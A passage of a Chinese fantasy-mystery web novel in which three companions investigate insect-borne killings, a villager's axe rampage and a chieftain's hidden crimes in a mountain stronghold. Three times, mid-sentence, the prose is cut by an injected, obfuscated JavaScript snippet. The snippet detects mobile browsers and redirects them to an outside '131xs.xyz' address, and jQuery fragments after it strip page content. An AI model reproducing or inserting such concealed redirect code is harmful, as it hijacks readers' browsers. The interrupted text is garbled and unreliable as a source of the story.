她没找到贺安,这个寨子里又藏着这么多怪事儿,便不免忧虑起来。 于是她寻到了代老幺的住处,摘了面具用空间跳跃进了竹楼,只见代老幺正一个人灰头土脸地收拾身上的泥巴。 她看见有人突然出现在眼前,吓了一跳: “你...你你不是...” 徐澄飞大喇喇地坐到椅子上喝了口茶: “你怎么把自己弄成这样?” 代老幺害怕这个寨主都关不住的杀人犯又拔刀对付自己,只得老实答道: “田里摘菜,他们嫌我摘得太慢,朝我扔泥巴。” 徐澄飞撑着下巴,笑道: “那你待会儿给他们一人送一盆泥巴去。” 代老幺尴尬地笑了两声,问道: “徐少侠找我是有什么事吗?” 徐澄飞正色道: “你有看到我师妹吗?” 代老幺摇了摇头: “没有,我对寨子熟,之后可以帮你找找。” 徐澄飞见代老幺也没有消息,便随口问道: “你认识陈蝶吗?” 代老幺的表情果然也是一言难尽,支支吾吾地说道: “她啊...徐少侠从哪里听来的。” “少废话。” “哎,我说,都是十几年前的事儿了。这陈蝶也是个傻子,当时跟着一个四处游荡的巫医进我们寨子的。这巫医嘛,又是算命又是捣药的,技术不好也就只能到处骗骗钱。” “我们那时的寨主一点儿也不欢迎她们,但老三心善,噢,就是代宗赋。她见那陈蝶呆傻,还怀着孕,日子又过得艰难,便收拾了个小房子收留她们。” “风平浪静地过了一段时间,陈蝶就闯了大祸——她居然在寨子里养虫子!” “什么?她养的什么虫子,养得如何?”徐澄飞起身,激动地问道。 这陈蝶莫非就是旺平的后代? 代老幺莫名道: “就是是盅里养的些听她使唤的小虫子,也没毒,一个傻子能养出什么厉害的东西?只不过咱们阿依族一向忌讳这些,认为这种东西会带来猜忌和不幸。陈蝶明目张胆地养,寨主自然要惩罚她。” “我那时还小,只听说老三去说了好些好话才让陈蝶能继续留在虎啸寨。那时寨主也老了,老大宗杰身体有残疾不愿管事,老二宗云虽有能力但实在贪玩,老三又是个小姑娘,这事儿也就稀里糊涂地糊弄过去了。” “陈蝶不再养虫子了,但是过了好些年,她又忽然发了疯,居然给寨子里的好几个人放毒,索性发现得早,大多数人都没有受到伤害,可惜老二因为解毒不及时落下了全身瘫痪的病。老三接管了寨子,大家见她十分自责,便默契地不再提起此事。” 徐澄飞猜测道: “会不会是她养的虫子去放的毒?” “不可能,寨子里的人用银针探过,就是些毒草配的毒,下在那些人打水的水瓢里,”代老幺继续道,“事情败露后陈蝶也不见了,再被发现时已经溺死在水沟里了。” “死了?” “是呢,寨子里的另一个傻子代虎找到的,不愧是寨子的守寨人。看到陈蝶死了后所有人都松了一口气。老三接管了寨子,大家见她十分自责,便默契地不再提起此事。” 徐澄飞愣了一下,问道: “那她那个孩子呢?” 代老幺耸了耸肩: “不知道。孩子自然是跟着跑了,不过后面也没找到他,也许被山里的猛兽吃了吧!” “那孩子男的女的?” “好像是个男的。” 陈蝶死了,孩子又是个男的,那传承了旺平神力如今到处用蛊虫害人的到底是谁? 陈蝶的死法也是相当古怪,好端端的怎么会在一个水沟里溺死,水沟的水一般都不会没过腰吧。 徐澄飞让代老幺留意贺安后便带着满腔疑惑离开了。 · 纪珩和裴景暄候在火灾现场,午膳时分,前一晚不知去向的代宗赋果然出现在了这里,带了一堆人抱了些被褥食物来安抚失去竹楼的族人。 裴景暄凑近纪珩低声道: “你觉得她会不会已经把李大人杀了?寨脚的土坡里也许又多了好几具尸体呢。” 纪珩皱眉道: “景暄,你别开这种玩笑。李大人有皇命在身,身份特殊,寨主就算知道了,也不敢轻易动手,也许只是将李大人藏了起来。” 裴景暄捂着肚子笑个不停: “我的姐姐,瞧瞧你,脸都冻紫了还板着一张木头脸呢,跟着李大人久了学来这个坏习惯!我开开玩笑给你暖暖身子不行么?” 说罢她解下狐裘给纪珩分了一半,两人挤在一块,纪珩身上的确暖和了起来,她无奈地笑了笑: “你这任性的脾气,这几日怕是已经让徐少侠气得够呛了。” 裴景暄瘪了瘪嘴: “她也是个有性子的人呢!谁也看不住她,这不,说走就走了!” “徐少侠只是担心她的师妹罢了,我们将她们拖来寨子也确实是连累了她们,姐妹两个只是想过好日子,并没有害人之心。” “怎么,你用神力看出来的,”裴景暄反问道,“你能看出来那把刀不简单,李大人难道看不出来么?” 纪珩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16417929|184717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有说话,裴景暄继续道: “记得那具白骨吗?她已经获得了新的神力了。李大人当真是有远见,这样‘潜力’无限的人交给朝廷再好不过了,你说是吧,纪珩姐姐?” 她刻意加重了“潜力”两个字,纪珩知道这是嘲讽,便不再与裴景暄争论,继续盯着代宗赋的动向。 只见代宗赋吩咐人卸下东西后,便准备离开了,裴景暄立刻上前拦住了她: “寨主,我们昨晚可找您找了好久!您到底去哪儿了?” 代宗赋看了眼蒙住面容的纪珩,和蔼地拍了拍裴景暄的肩膀: “让裴公子操心了。昨日去稍远一些的地方找老朋友叙旧了,畅聊到深夜,今早起晚了些,听到火灾的事立马安排了物资才赶过来的。不知裴公子找我有何贵干?” 裴景暄行礼道: “这几日寨主事务繁忙,一直没好好同您打个招呼。家母早在江湖上听闻您团结族人,治理龙吟山的事迹,十分仰慕,让我来替她向您问个好。” 代宗赋谦虚道: “盟主过誉了,在下做的不过是分内之事。” 两人客套间,纪珩的眸色转红,悄悄观察着代宗赋身上的气。 一个因果完成后,会随着时间的流逝被其他气所掩盖。纪珩的神力还没有达到能看见一个人几个月乃至几代人以前的因果的程度。但李珅死亡一事迫在眉睫,一定能在当事人身上看到同样的气。 可她仔细分辨了很久,翻转涌动的各色气流之间,并没有那股在李珅身上愈发强烈的气。 难道杀害李珅的另有其人?还是说,同徐澄飞猜测的一样,这个因果已经消失了? 这时,一位阿依族人跌跌撞撞地跑到了代宗赋跟前: “不好了寨主!傻子他...他砍人了!” “在哪里?” “寨门那边,西风寨来了几个人,也被砍伤了!咱们的人也...” 代宗赋没再问,立刻跟着他匆匆赶向寨门。纪珩和裴景暄对视一眼,也跟了上去。 一路上碰到很多人惊叫着奔逃,也有不怕死的提着武器想过去帮忙的人。 还没走到寨门,就远远地看见一个人满身鲜血地挥舞着斧头。 “哗!” 一个阿依族人软绵绵地应声倒下,露出了面前的代虎那张地狱阎罗般的脸。 喷溅的鲜血洒在他的脸上,他条件反射地眨了眨眼睛,那双眼里痴傻和童真依旧,表情却愈发癫狂。 他看见了代宗赋,斧头垂落下来,动作迟缓地偏头,仿佛在思考着什么。 忽然,他的身体抖了一下,像是猛然从梦中惊醒。他表情狰狞,喉咙里发出尖利的喊叫: “不是我!是你!” 他提着刀发疯般朝代宗赋冲过来。 就在斧尖从高处狠狠落下时,只听“铮”的一声响,斧头被打落,甩出去几米远。 代虎恶狠狠地转头,弯刀正好回到了一个戴着面具的人的手中。 徐澄飞扬起眉毛,挑衅道: “陈蝶!你妈妈让我叫你回家吃饭啦!” 说罢她将刀背一翻,转瞬间来到了代虎的眼前! 可下一秒,一片阴影伴随着让人头皮发麻的嗡鸣声袭来。 徐澄飞抬头望去——那是一群鲜红的飞蝇,尖锐的口器正冒着诡异的寒光。它们默契地在空中一顿,随后直直朝徐澄飞扑来! 11. 第 11 章 密密麻麻的飞蝇转瞬间遮住了徐澄飞的视线。她立刻发动空间跳跃,来到了身旁一座竹楼的顶层,身上却还是沾了一些飞蝇。 它们在她的面具和衣服上四处攀爬,寻找着一切可以钻入的缝隙。 徐澄飞手忙脚乱地将这些飞蝇拍掉。可这些虫子如同狗皮膏药一般,被拍走后立刻又沾了回来。 楼底的那片飞蝇似乎并没有紧追着徐澄飞不放的打算。它们在代虎上空聚集起来,阴影越来越大,仿佛要吞噬整片寨子的天空。 一个手持长枪的人跃跃欲试地靠近发狂的代虎,试图阻止他。就在她将长枪伸出去的那一刻,蝇虫聚成的海洋里迅速塌出一个洞,将那个人卷了进去。 一阵撕心裂肺的惨叫声从里面传出来,几分钟后,蝇虫之海重新恢复了平整,长枪骨碌碌地滚向一旁。 “砰!”是尸体倒下的声音。 那个人的身上已经布满了鲜血淋漓的洞口,皮肤松垮地凹下,勾勒出骨架的形状——她已经被啃得只剩一层皮了。 代虎重新捡起来那把沾满血肉的斧头,阴恻恻地看向代宗赋。 代宗赋看着那双熟悉又陌生的眼睛,记忆里那个陈蝶泣血般的控诉与现在代虎的声音渐渐重合: “是你,害了我!” 代虎表情狰狞,举着斧头朝她奔来。她吓得一个踉跄,终于回过神来,转身就逃。 日光被遮蔽,头顶是一片不详的鲜红,数不清的蝇虫在上方蠕动,虫群形成的天幕在一点点地扩张。人们纷纷奔向寨顶的竹楼,将门窗紧闭,恐惧地看着下方的红色虫海。死亡的阴影笼罩着整个虎啸寨。 代宗赋跑得双腿发酸,忽然被一块石头绊倒在地。 她赶紧爬起来,代虎的斧头紧随其后,将刚刚那块石头砸得粉碎。 头顶是吃人的蛊虫,身后是致命的斧头,到底怎样才能逃出去呢? 代宗赋咬咬牙,瘸着一直腿绕了个小圈,拼命朝原来那个方向跑去。 徐澄飞费了好大的劲才将跟着自己的虫子全部捏死,手上满是散发着恶臭的绿色粘液。好在自己的手上没有伤口,不用担心感染什么虫毒。 她将手在身上胡乱擦了两下。下方的地面已经完全被飞蝇覆盖,根本看不清地上发生了什么。 只听下方传来纪珩的声音: “澄飞,你要小心!此虫会钻入身体,吸食血肉!” 徐澄飞回道: “我没事!代虎可有被控制住?” “不行!一靠近他就会引来蛊虫的攻击!” 看来蛊虫是在保护代虎。可为什么不直接让蛊虫来攻击人?除非...蛊虫不是在保护代虎,只是为了给他扫清砍人的障碍! 徐澄飞恍然大悟,朝下方喊道: “驱使蛊虫的人就在现场!” 纪珩和裴景暄听闻,立刻警惕起周围的环境。 寨子里的人都躲到了寨顶,整条路的竹楼一个人都没有。寒风阵阵,刮起几片枯叶,空荡荡的路上走来一个一瘸一拐的人影。 代宗赋喘着气,用尽最后一丝力气喊道: “我...我知道李珅在哪里!” 纪珩立刻要上前,裴景暄却伸手拦住了她: “纪珩姐姐,你对付不了那些虫子。让我来会会这个躲在背后使坏的虫贼,你到时候带着代宗赋先走。” 说罢,她慢悠悠地将捂手的汤婆子收好扔到一旁。 带着腥气的斧头从代宗赋耳边划过,她头一偏,捂着耳朵重重跌倒在一旁,鲜血从她手指的缝隙间流出。 这时,裴景暄才将手腕一翻,亮出两只金灿灿的镯子。她将镯子上的暗扣一拉,两只手镯立刻射出数十道金针,挟着破空声朝代虎飞去! 很快那驱使蛊虫的人就察觉到了飞向代虎的暗器,虫群迅速降下一道屏障,挡住了代虎。 可这金针犹如俯冲的鹰隼,力道之大,两只飞蝇被穿成了串,才勉强减弱了金针的冲击的速度。 几十道金针折损不到一半,统统命中了挥着斧头的代虎。 只见他摇晃了两下,便合上眼昏了过去。 纪珩立刻上前扶起代宗赋离开了现场。 裴景暄的攻击似乎触怒了驱使蛊虫的人,头顶蝇虫聚成的天幕开始缓慢地涌动。它们先是翻滚出一道虫浪,接着所有的飞蝇仿佛找到了队伍,追随着浪尖形成一条没有截断的虫带将裴景暄一圈一圈地围了起来。 全方位包围她的球形越来越厚,鲜红的天幕变得稀薄,站在楼顶的徐澄飞终于找到一个空隙,她通过空间跳跃来到了地面。 她靠近包围圈喊道: “喂,我帮你劈个洞,你跳出来怎么样?” 里面传来一声轻快的笑声: “徐少侠,你还是操心一下你这身烂衣服吧,再脏一些可就得把我熏死了!” 话音刚落,渗人嗡鸣在耳边炸开,虫圈迅速开始塌陷收缩,每一只飞蝇都伸着尖锐的口器俯冲而下,恨不得马上将圈内的人的血肉吃干抹净。 只听一道空灵的低语传遍了每个被飞蝇覆盖的地方: “此地禁止离地而行。” 这道命令带着不可违抗的尊严,她的声音所到之处,每一根杂草,每一块石头,都被这声低语的力量所渗透。 徐澄飞立刻感到自己的脚变得有些沉重。 紧接着,包围裴景暄的虫圈迅速坍塌,刚刚还在飞舞的蝇虫仿佛突然被什么东西拉住,直直地往下坠落。 落在地上的飞蝇只能在地上爬行,徒劳地扑动着翅膀。 而落到徐澄飞身上的飞蝇就没有那么幸运了。它们被徐澄飞的身体挡住了坠落的趋势,还来不及改变方向,就被拉住它们的那道无形的强力生生拉爆,绿色的汁液四溅,瞬间糊满了徐澄飞全身。 徐澄飞的身上是又红又绿——脸色也差不多如此。 她不可置信地看向裴景暄。 只见这个罪魁祸首正从她那已经被虫子污染的狐裘下钻出来,瞳色鲜红,身上自然是干干净净,毫发无损,甚至还嫌弃地将那件名贵的狐裘扔到一边。 地面上爬满了蝇虫,裴景暄厌恶地皱了皱眉,整个人竟脚底离地,升了起来——显然,她并不受那道规则的束缚。 她看见狼狈的徐澄飞,嘲笑道: “徐少侠这身打扮怎么不留到过年的时候?看着可真喜庆!” 这时,不远处的一座竹楼里传来几道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16417930|184717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 木头断裂的异响。两人对视一眼,立刻朝那个方向奔去。 竹楼下吊脚的空地围出了一个鸡圈,鸡圈中央有几块断裂的木板,几只鸡在木板周围探头啄米。向上看去,竹楼的地板果然破了一个洞。 二人屏住呼吸,缓缓靠近鸡圈的栅栏。 裴景暄在高处,沉着脸朝下看,一截黑色的衣料露了出来。 “小心!”她提醒道。 徐澄飞感受到身前的劲风,她朝后下腰,一条缀满倒钩的鞭子从她眼前划过。 勾尖挂住了她左边的眉毛,瞬间撕掉一块皮肉。 鲜血模糊了徐澄飞眼睛,一片猩红间,她看见一个一身黑衣的人在栅栏中起身。 此人面容青涩,稚气未脱,耳边的长发用不同颜色的布条变成了许多小辫子。她身形瘦弱,一双清亮的大眼睛镶在小脸上,更显得弱不禁风,惹人怜爱。 然而她却顶着这样一张脸老练地收回带着血的鞭子,阴毒地盯着对面的敌人。 徐澄飞抹开眼睛上的血,冷笑道: “躲在后面偷袭算什么本事。小妹妹,你娘就是这么教你做人的?” 花辫子毫不在意地冷哼一声: “你废话可真多。” 她抬手又是一鞭,徐澄飞翻身滚到一旁,堪堪躲过。 裴景暄趁机射出几道暗针,这花辫子却是十分警惕,立刻察觉并退步挥动长鞭,金针纷纷被鞭子弹开。 在她应付金针之际,徐澄飞挥刀而上,转瞬间来到了她的身后。 花辫子果然措不及防,纵然躲得快,背上也结结实实受了一刀。 她定身稳住步伐,怒目瞪向徐澄飞,眸色突然转红,几条青蛇从她身后钻了出来! 青蛇“嘶嘶”地吐信,飞快滑到了徐澄飞脚边,露出装满毒液的獠牙。 徐澄飞一刀迎上,如削泥般将几条蛇砍成两半。 花辫子脸上露出了几分心痛的神色,立刻又发动神力,周围的草丛中冒出来成群的鲜红色甲壳的蜈蚣。 而她则一手捂着伤口踩上几条青蛇。青蛇托着她朝寨子后方离去。 徐澄飞感到鞋子被这些蜈蚣擦过,惊得跳了起来,却又被大力拉回了地面,摔了个狗啃泥。好在她用空间跳跃瞬间来到另一边,手上刚刚被蜈蚣接触的地方起了一层鸡皮疙瘩。 “你这规矩差点害死我!”徐澄飞朝空中那人叫道。 裴景暄没理会她的抱怨,安排道: “我开口说话的时候,你瞬移到她面前。” 接着,她的摘下一只手的戒指,拨动了某个开关,戒指立刻弹出一个小钩,牵着似有若无的机线射向花辫子。 花辫子咬牙挥鞭一挡,却被钩子勾住了。 裴景暄开口道: “此地禁止疾行。” 青蛇放缓了行进的速度。 徐澄飞瞬间来到了花辫子的眼前。 裴景暄一边牵住钩子,一边绕着花辫子疾行。 几番扭身后,花辫子便被自己的鞭子缠住了手臂,倒钩刺进她的皮肉,疼得她冷汗直冒。 徐澄飞的刀也架在了她脖子上: “说吧,你操纵这些蛊虫害人到底是要做什么?” 12. 第 12 章 花辫子闭上眼,周围的虫蛇如潮水般缓缓散去。 裴景暄走过来问道: “你在一年前的巴代节宴会上给那些人下了虫蛊,一年后虫毒发作身亡。你的目的是什么,杀人后又为什么要把尸体埋起来?代虎和你是什么关系?” 花辫子瞥了她一眼,冷哼道: “我讨厌他们。杀了就是杀了,我从来没打算让他们入土为安,晾在外面喂虫子再好不过了。你说的那个傻子,我只不过看他砍人很好玩儿,顺手帮了他一把而已。” 小小年纪居然能说出如此残忍的话来,那么多人的性命竟比不过她的虫子。 徐澄飞不由得将刀抵得更深一些,花辫子只得费力地仰起头,避免被刀刃划伤。 “傻子跟你没关系,陈蝶也跟你没关系么?”徐澄飞质问道。 花辫子紧紧抿着唇,并不准备回答这个问题。 徐澄飞扯过她的手臂,冷笑道: “那你就跟我们走吧,让‘陈蝶’亲自问问你!” 几人走出竹楼,来到虫尸体遍布的寨门,却发现刚刚昏倒在路上的代虎消失了。 裴景暄皱眉道: “金针致昏迷的药效很强,有一组针还是由慢性毒药炼化,他不可能这么快醒来自己跑掉。” 徐澄飞听到这针还有淬过毒的,立刻把自己全身上下都看了一遍。 裴景暄见她那副格外怕死的模样,不合时宜地笑出了声: “徐少侠放心吧,对付你这种人还不至于用上我的毒针。我的针都是由黄金制成的,本就价值不菲。淬上去的毒药还需要保证无色无味,毒性不能因温度,时间发生变化,这可是万里挑一的材料。当然要省着点用啦!” 那天的针果然是这人放的。徐澄飞终于逮住机会,嘲讽道: “裴公子出手这么阔绰,怎么不多带几根金针?还是说刚刚这小妹妹逃跑的时候你也是为了省着点用?” 裴景暄难得吃瘪,回了她一个白眼。 这时花辫子开口道: “那傻子是往那个方向去了吧!” 两人顺着她指的方向看去,只见通往寨门的路有一些足印。那足印上混杂着绿色的粘液和飞蝇的残躯,一直延伸到寨门外。 几人顺着足印走,走到离寨门几十米的一条水沟旁,徐澄飞却停了下来。 “怎么了?”裴景暄问道。 越过水沟望去,那足印歪歪扭扭地印在对面的泥土上。 “这水沟不对劲。” 水沟顺山而下,约莫三人宽,水深不过膝,水底清晰可见,里面的石头盖着翠绿的苔藓。 水沟周围十分安静,竟连一丝水流潺潺之声都没有。 仔细一瞧,才发现这水沟里的水流动速度极其缓慢,就连从沟顶落下的水幕也仿佛静止一般,没有一滴水花。 裴景暄后退几步,警惕道: “这里还有别的神力者。” 话音刚落,沟顶突然传来一阵水流涌动的声音,紧接着,涛天巨浪从沟顶倾泻而下! 强劲的水势砸在死水一般的水面上,激起了漫天的水雾。超出水沟的水量扑向沟外,几人瞬间被裹进浪中。 徐澄飞被浪拍了出去,水灌满口鼻,刀被卷走了。她胡乱抓住了一根树枝,勉强稳住了身形。 “伏虺!”她将弯刀唤回手中,撑刀起身。 巨浪褪去,水雾落下,水沟里传来潺潺的水声。水流正欢快地拍打着石头,刚刚的异象仿佛从来没有发生过。 花辫子已经不见了踪影。 徐澄飞握紧刀柄,愤愤地盯向水沟对面。 “别追了。”裴景暄也全身湿透了,冷得声音微微发抖,“过了那条水沟,我的言灵就失效了。” 没了规则的束缚,花辫子的蛊虫只会更加猖狂。那神秘人的神力更是诡异,不能贸然行动。 同花辫子斗了半天居然一无所获——不,好歹洗了个澡。 徐澄飞打了个喷嚏,这么想着也就不准备继续追了。 · 纪珩扶着代宗赋先找了一个地方简单处理了一下代宗赋的伤口。 她的耳朵被砍掉了半只,只剩一点皮肉粘连着,伤口触目惊心。 代宗赋面色苍白: “多谢这位公子。” 纪珩沉默地给她包扎。 “公子放心吧,李大人现在安然无恙,”代宗赋看出了纪珩的不信任,“在下只是...害怕事情太早传到皇上耳朵里,一时心急才将各位郎官请到了别处,放火也只是为了不引起其他人的注意。” 也顺便除了自己这个没来的隐患吧? 纪珩冷冷道: “寨主对我也不必遮掩。李大人既是我的上级也是我的恩师,若是她有什么闪失,不等皇上裁决,我也定不会放过你的。” 代宗赋附和道: “是是...李大人还同我商议过了,她会将这里的情况反映给圣上,争取用谈和的方式了结...哎哟!” 耳朵上传来刺骨的疼痛,代宗赋疼得缩了缩脖子。 “抱歉,寨主。我下手重了一些。” 纪珩扳回她的头,将纱布松了一下。 代宗赋便不再多话。 处理完伤口后,代宗赋便将纪珩带到了陈芪的住处,她指着那座三层竹楼: “我将李大人她们安置在三楼了。” 纪珩看了他一眼,走在前面。地上有一只红色蜈蚣爬过。 代宗赋面色阴沉地跟了上去。 步梯到二楼便结束了。 代宗赋搬来一架爬梯立在墙沿: “少侠从这里上去,打开那扇小门就可以上三楼了。” 纪珩抬头一看,天花板上果然有一个带把手的小窗,位置隐蔽,只能容一人通过。 她手脚并用地爬了上去,打开小门探身进去。 贺安正蹲在门口,瞪着眼睛拼命朝她摆手。 纪珩心里一惊,头却突然被钝物砸了一下,趴倒在三楼的地板上昏了过去。 代宗赋扔掉手中的锄头,爬上梯子,费力地将纪珩塞进三楼,再把小门用锁链结结实实地锁上。 做完这一切,她气喘吁吁地坐在地板上,耳朵上的伤口隐隐作痛。 代虎挥舞斧头的样子还历历在目。她的脑子很乱,低着头预演着每一种结果并思考对策。 不知过了多久,一个佝偻的身影缓缓走到她的身旁。 代宗赋抬头,急促地呼吸了几下,抓住陈芪的衣袖,声音里满是压抑的愤怒: “你去哪儿了?你是不是疯了!你给代虎下的什么蛊?!” 陈芪慢慢地把自己的衣袖从她的手中抽出来,脸上没有表情: “寨主,族人们在广场聚起来了,西风 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16417931|184717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 寨的人也在那儿,你应该去看看。” 说完她便转身离开,代宗赋在身后叫住了她: “陈芪,你告诉我,小蝶的孩子是不是根本没死?” 步梯上响起脚步声,陈芪走了。 代宗赋回到广场,地上已经是一片狼藉。许多人聚集在中央,为受伤的人提供帮助。 一个人端着一盆血水从她面前经过,她顿时有了不好的预感,立刻上前察看。 躺在被单上的是自己姑姑的女儿,是和她从小一起长大的妹妹。 此时这个妹妹胸前有一道从锁骨延伸到侧腰的伤口,伤口深得能看见筋肉,周围的黄绿色脓水散发着腥臭。 她的脸色白得吓人,嘴唇不断地翕动。 代宗赋颤抖地靠近她,只听到她微弱的声音: “阿嬷,我不想死...” 她的双目逐渐失焦,终于没有了呼吸。 那双空洞的眼睛如尖刀般凌迟着她的心脏,她感到一阵眩晕,眼睛耳朵和脑袋似乎都糊在一起,无边无际的混沌包裹着她。 周围的族人眼疾手快地扶住了代宗赋,待她稍微冷静一些后,汇报道: “寨主,代虎砍伤了八个族人,已经死了三个了。客人被砍死了一个,还有两位正在抢救,我们还找到了几具被虫子啃得只剩一层皮的尸体。” 代宗赋长长地深呼吸了一次,问道: “西风寨的人在哪里?” 族人正要回答,人群外却冲出来几个手拿砍刀的人,他们指着代宗赋叫道: “我们大老远跑来陪你造反,你寨里的傻子却先砍死了我们一个人!你得给我们一个交代!” 周围的族人感到很不满,寨主热情地招待他们,傻子的事明显不在寨主能控制的范围内,寨主自己还丢了半只耳朵呢! “我们自己也死了那么多族人啊!傻子伤人的时候你们去哪儿了?这个时候就知道出来叫了?” 几个人顿时气得推搡起来: “你什么意思?是你们没看好那个疯子的!还守寨人呢?碰上他真是倒了八辈子霉!” 两拨人开始互相辱骂殴打,场面十分混乱。 徐澄飞和裴景暄一个蹲在地上看热闹,一个不厌其烦地用毛巾擦头发。 徐澄飞疑惑道: “她都来了,纪珩她们怎么还不回来?” 裴景暄随口回道: “可能正和李大人商量事儿吧?怎么,徐少侠居然开始心系起李大人的安危了?” 徐澄飞起身瞪着她: “我说你到底哪里看我不顺眼?我说什么你都要呛回来!” 裴景暄俏皮地吐了吐舌头。 两人拌了几句嘴,都注意到了一个头包白布的女人在人群外远远地看着代宗赋,面色犹豫。 人才死了多久,这么快就戴上白布了? 徐澄飞前去同她搭话: “姐姐找寨主是家里人需要什么帮助吗?在下乐意效劳。” 女人摇了摇头,柔声道: “谢谢少侠,我不是虎啸寨的族人,只是..找寨主问一些事情。” “怎么啦?我是寨主的朋友,这几日经常和寨主在一块儿,也许知道姐姐说的事呢!” “啊...我想问,”她神色担忧又有点期待地看向徐澄飞,“我想问问寨主,我丈夫的尸体检查得怎么样了?” 13. 第 13 章 徐澄飞脑海中浮现出寨脚土坡下那个男人的脸。 原来那里死的人根本不是虎啸寨的族人,难怪虎啸寨的人毫不知情。如果花辫子没有藏尸体的话,那就只能是代宗赋封锁了消息了。 她为什么要这么做?花辫子所做的一切都是她在背后助力吗? 徐澄飞看着广场上互殴的两拨人,心想着不如让场面更混乱一些,看看代宗赋到底藏了多少秘密! 她对女人安抚道: “姐姐先别着急,寨主现在抽不开身,要不你先跟我去看看?” 女人感激地点点头,随后转头示意远处同她一起来的族人。 徐澄飞带着他们离开广场后才了解到,女人名叫代玲,是代宗赋的大哥代宗杰的妻子。代宗杰七日前毒发身亡,代宗赋得知后特地赶到西风寨将尸体运走了,说是事出蹊跷,要请自己寨子里的巫医调查一番。 “西风寨可还有其他人因此毒而亡?”徐澄飞问道。 代玲谈到这里,泪眼朦胧地倾诉起来: “一开始是宗杰先发现的几位族人出现了相同的死状,他亲自调查了整件事,但并没有查出来凶手,死的人之间也没什么共同的关联,死亡时间也没有规律,就好像是随机投毒的一样。但是我们怎么查也查不出毒源。” “后来...宗杰突然说要去问问老三,在出发的前一天,他也毒发身亡了...西风寨本就人丁稀少,一下子死了这么多人,街上挂满了白幡。整个寨子的人都提心吊胆的,每个人每天都闭门不出,真是一点儿活人气也没有了!” 徐澄飞奇道: “寨主的哥哥们为何不同她一起留在虎啸寨,而是搬去西风寨另起门户?” 代玲的神色有些愤然: “狡兔死,走狗烹。当年宗云也算是给寨子办了很多事,只是有些不上心而已,老寨主对此一直都很不满。宗云出了意外后,老寨主转头就去扶持老三上位,还明里暗里防着我们。宗杰看不下去,才和我们一起离开了虎啸寨。” “寨主没有劝过老寨主吗?” “宗赋她...是个好姑娘,当然有挽留我们。可是她当年也被这件事折磨着,宗云瘫痪后在他床前哭了很久。寨子里只有她接班了,我们走了对她坐稳寨主的位置也是好事。” “当年那个陈蝶...真的是突然发疯吗?就像现在的代虎一样?” 代玲摇了摇头: “其实我最开始还有些同情她。她虽也是个傻子,但她是个姑娘,还怀着孩子,免不了受到别人的排挤。宗云当时不懂事,也爱同她开玩笑。整个寨子里只有代虎喜欢和她玩。也许只有傻子才懂傻子吧!” “可是咱们族人也没有亏欠她啊!寨子收留了她,代虎对她也很好...” 徐澄飞嗅到了一丝不同寻常的味道: “等等,代虎跟她...只是朋友?” 代玲腼腆地笑了一下: “傻子自然不懂这些了。可是男女有别,两个人同吃同住,关系那么要好,大家都默认他们是夫妻了。” 徐澄飞却感到一种难以言说的诡异。只要是一男一女,就算是两个什么都不懂的傻子,也要被别人凑成一对吗? “陈蝶的母亲也同意了?” “什么母亲,”代玲回想了一下,“噢。你是说陈芪?陈蝶是她捡来的,捡到的时候陈蝶肚子刚显怀,只是给她取了个名字,也算不上是她的母亲吧!” 原来陈蝶是捡来的,难怪所有人都没有想过她可能是旺平的后代,她很有可能就是当年处决旺平一族时遗漏的孩子。 至于她肚子里的孩子从何而来——一个无依无靠的女傻子四处流浪,会发生什么事也就不言而喻了。 代玲继续道: “陈芪也没有意见,毕竟陈蝶凭借自己有个丈夫的名头,可以避开很多麻烦。两个傻子的日子本来过得好好的,也不知道是哪个缺德的,教代虎打老婆。代虎学了去,惹恼了陈蝶,我猜...她就是因为这个才发疯投毒的吧!她可能想报复教坏代虎的人。” 几人走到了埋尸的地方,代玲先是被棚子里的白骨吓了一跳,随后看到了徐澄飞挖出来的尸体的脸,立刻震惊得说不出话来。 她喃喃道: “怎么会这样,怎么会就这么埋在这种地方...” 同她一同前来的族人回过味来,继续挖开这个土坡: “寨主她...到底是什么意思,不是找人检查尸体吗?” “是啊,她就这么随便找了个地方埋了?” “这不是三姑吗!” ... 徐澄飞在一旁劝道: “这也是我偶然发现的,虎啸寨的人似乎还不知道此事。寨主若真是帮忙的话,不会将尸体处理得如此草率,姐姐不如亲自去问一问寨主。” 代玲沉默了半晌,坚定代替了她方才的迷茫,她终于开口: “宗杰要动身去虎啸寨时,我曾问过他,那么多人还死的不明不白,为什么要这个时候去找老三?” “他对我说他的妹妹太偏执了,需要有人及时引导她,这一回不能再错过了。当时我听得糊里糊涂,如今...我也猜到了几分。” 她将披风盖在代宗杰的尸体上,尤其仔细地盖住了他的左腿——那条腿十分瘦弱,正是代宗杰有残疾的那条腿。 